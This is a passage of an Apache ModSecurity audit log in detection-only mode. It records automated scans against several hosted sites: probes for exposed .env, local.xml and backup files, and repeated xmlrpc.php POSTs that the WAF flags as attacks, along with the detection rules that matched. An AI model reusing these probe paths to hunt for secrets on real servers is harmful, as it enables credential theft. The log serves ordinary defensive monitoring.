Jun 2025 23:04:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --246e5f46-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/node_modules/.env"] [unique_id "aE9DcHZqyQ8YfVGvJU7bxwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025072945198 668998 (- - -) Stopwatch2: 1750025072945198 668998; combined=1862, p1=398, p2=1370, p3=0, p4=0, p5=93, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --246e5f46-Z-- --86b9931d-A-- [16/Jun/2025:03:34:34.601494 +0530] aE9DcRAGYpjnkyifC9YjUAAAAAU 185.177.72.210 42266 127.0.0.1 7081 --86b9931d-B-- GET /examples/sdl-first/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --86b9931d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=24b112fb78c3e7ec9cd5539199b14c401750025074; expires=Sun, 15 Jun 2025 23:04:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --86b9931d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/sdl-first/.env"] [unique_id "aE9DcRAGYpjnkyifC9YjUAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025073937052 664544 (- - -) Stopwatch2: 1750025073937052 664544; combined=1984, p1=383, p2=1466, p3=0, p4=0, p5=134, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --86b9931d-Z-- --1ebdb55f-A-- [16/Jun/2025:03:34:58.963076 +0530] aE9DikNwpNEMJppxC49VEAAAAAI 185.177.72.210 45426 127.0.0.1 7081 --1ebdb55f-B-- GET /:5000/admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ebdb55f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e5d604f23d44f75c123ac578320dec3f1750025098; expires=Sun, 15 Jun 2025 23:04:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ebdb55f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/admin/.env"] [unique_id "aE9DikNwpNEMJppxC49VEAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025098276901 686260 (- - -) Stopwatch2: 1750025098276901 686260; combined=1908, p1=490, p2=1331, p3=0, p4=0, p5=87, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ebdb55f-Z-- --5a2c3a16-A-- [16/Jun/2025:03:34:59.946890 +0530] aE9DilR6EeXjkGzEkbloIQAAAAs 128.199.112.101 45472 127.0.0.1 7081 --5a2c3a16-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5a2c3a16-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5a2c3a16-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9DilR6EeXjkGzEkbloIQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025098914849 1032121 (- - -) Stopwatch2: 1750025098914849 1032121; combined=185320, p1=373, p2=1704, p3=51, p4=68, p5=91604, sr=103, sw=119, l=0, gc=91401 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a2c3a16-Z-- --e42a1f04-A-- [16/Jun/2025:03:35:59.323713 +0530] aE9Dxol8S04UZ4l67-nhrgAAAAk 128.199.112.101 51518 127.0.0.1 7081 --e42a1f04-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e42a1f04-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e42a1f04-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Dxol8S04UZ4l67-nhrgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025158192976 1130793 (- - -) Stopwatch2: 1750025158192976 1130793; combined=2163, p1=353, p2=1450, p3=40, p4=62, p5=161, sr=95, sw=97, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e42a1f04-Z-- --f6f2de23-A-- [16/Jun/2025:03:36:10.413463 +0530] aE9D0Yl8S04UZ4l67-nhtwAAAAk 185.177.72.210 42872 127.0.0.1 7081 --f6f2de23-B-- GET /system/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6f2de23-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dec45928bb835af2928511a62cc052ec1750025170; expires=Sun, 15 Jun 2025 23:06:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6f2de23-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/system/.env"] [unique_id "aE9D0Yl8S04UZ4l67-nhtwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025169743661 669878 (- - -) Stopwatch2: 1750025169743661 669878; combined=1632, p1=365, p2=1170, p3=0, p4=0, p5=96, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6f2de23-Z-- --fbded53b-A-- [16/Jun/2025:03:36:14.087436 +0530] aE9D1n2GhYywD7zZgx79owAAAAM 52.169.50.46 33764 127.0.0.1 7080 --fbded53b-B-- GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.0 Host: www.printotech.com X-Real-IP: 52.169.50.46 X-Accel-Internal: /internal-nginx-static-location Connection: close --fbded53b-F-- HTTP/1.1 404 Not Found Last-Modified: Fri, 27 Dec 2024 11:52:48 GMT ETag: "328-62a3f1a0472fe" Accept-Ranges: bytes Content-Length: 808 Connection: close Content-Type: text/html --fbded53b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.printotech.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.printotech.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.printotech.com"] [uri "/wp/wp-admin/includes/class-wp-filesystem-base.php.bak"] [unique_id "aE9D1n2GhYywD7zZgx79owAAAAM"] Stopwatch: 1750025174084632 2854 (- - -) Stopwatch2: 1750025174084632 2854; combined=1622, p1=317, p2=1245, p3=0, p4=0, p5=59, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fbded53b-Z-- --1ee6ac37-A-- [16/Jun/2025:03:36:59.689222 +0530] aE9EAk6Jm8uWY207Wng-7QAAAAE 128.199.112.101 57838 127.0.0.1 7081 --1ee6ac37-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1ee6ac37-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1ee6ac37-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9EAk6Jm8uWY207Wng-7QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025218676968 1012322 (- - -) Stopwatch2: 1750025218676968 1012322; combined=2339, p1=373, p2=1546, p3=44, p4=70, p5=188, sr=95, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ee6ac37-Z-- --73582531-A-- [16/Jun/2025:03:37:38.734154 +0530] aE9EKk6Jm8uWY207Wng_AQAAAAE 185.177.72.210 35890 127.0.0.1 7081 --73582531-B-- GET /tmp/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73582531-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3018574d67b44187f6dc0e34e4af390b1750025258; expires=Sun, 15 Jun 2025 23:07:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73582531-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/private/.env"] [unique_id "aE9EKk6Jm8uWY207Wng_AQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025258080327 653892 (- - -) Stopwatch2: 1750025258080327 653892; combined=1754, p1=401, p2=1244, p3=0, p4=0, p5=108, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73582531-Z-- --471b866b-A-- [16/Jun/2025:03:37:51.491783 +0530] aE9ENnZqyQ8YfVGvJU7cVAAAAAY 185.177.72.210 44246 127.0.0.1 7081 --471b866b-B-- GET /app/etc/local.xml HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --471b866b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42d7795091f7f388a514e318fa9e19b21750025271; expires=Sun, 15 Jun 2025 23:07:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --471b866b-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml"] [unique_id "aE9ENnZqyQ8YfVGvJU7cVAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025270803986 687873 (- - -) Stopwatch2: 1750025270803986 687873; combined=2060, p1=421, p2=1519, p3=0, p4=0, p5=120, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --471b866b-Z-- --9816036f-A-- [16/Jun/2025:03:37:59.957829 +0530] aE9EP4l8S04UZ4l67-nh_gAAAAk 128.199.112.101 45022 127.0.0.1 7081 --9816036f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9816036f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9816036f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9EP4l8S04UZ4l67-nh_gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025279019423 938473 (- - -) Stopwatch2: 1750025279019423 938473; combined=2022, p1=341, p2=1277, p3=42, p4=61, p5=183, sr=91, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9816036f-Z-- --282b0072-A-- [16/Jun/2025:03:38:08.822324 +0530] aE9ESE6Jm8uWY207Wng_FQAAAAE 185.177.72.210 33856 127.0.0.1 7081 --282b0072-B-- GET /joomla/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --282b0072-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c1619be807162150eae5cacd613a60af1750025288; expires=Sun, 15 Jun 2025 23:08:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --282b0072-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/joomla/.env"] [unique_id "aE9ESE6Jm8uWY207Wng_FQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025288152481 669905 (- - -) Stopwatch2: 1750025288152481 669905; combined=1965, p1=405, p2=1461, p3=0, p4=0, p5=99, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --282b0072-Z-- --6b3e977a-A-- [16/Jun/2025:03:38:10.975282 +0530] aE9ESk6Jm8uWY207Wng_FgAAAAE 185.177.72.210 52670 127.0.0.1 7081 --6b3e977a-B-- GET /iisadmpwd/aexp.htr HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6b3e977a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4dcde128746bef918c90a5671241e321750025290; expires=Sun, 15 Jun 2025 23:08:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6b3e977a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".htr"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/iisadmpwd/aexp.htr"] [unique_id "aE9ESk6Jm8uWY207Wng_FgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025290266029 709327 (- - -) Stopwatch2: 1750025290266029 709327; combined=2061, p1=338, p2=1616, p3=0, p4=0, p5=106, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6b3e977a-Z-- --1d8ea474-A-- [16/Jun/2025:03:38:13.087788 +0530] aE9ETIrLgrklqy57Kk2f2QAAAAg 185.177.72.210 52780 127.0.0.1 7081 --1d8ea474-B-- GET /app//.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1d8ea474-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Set-Cookie: _sfs_id=126702bbb807170595e185a5546d55d71750025292; expires=Sun, 15 Jun 2025 23:08:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Location: https://www.mindscan.edu.in/app/.env.back Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --1d8ea474-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app//.env.back"] [unique_id "aE9ETIrLgrklqy57Kk2f2QAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025292460330 627568 (- - -) Stopwatch2: 1750025292460330 627568; combined=1794, p1=407, p2=1278, p3=0, p4=0, p5=108, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1d8ea474-Z-- --f203f01b-A-- [16/Jun/2025:03:39:00.411049 +0530] aE9Ee3ZqyQ8YfVGvJU7cgQAAAAY 128.199.112.101 37040 127.0.0.1 7081 --f203f01b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: 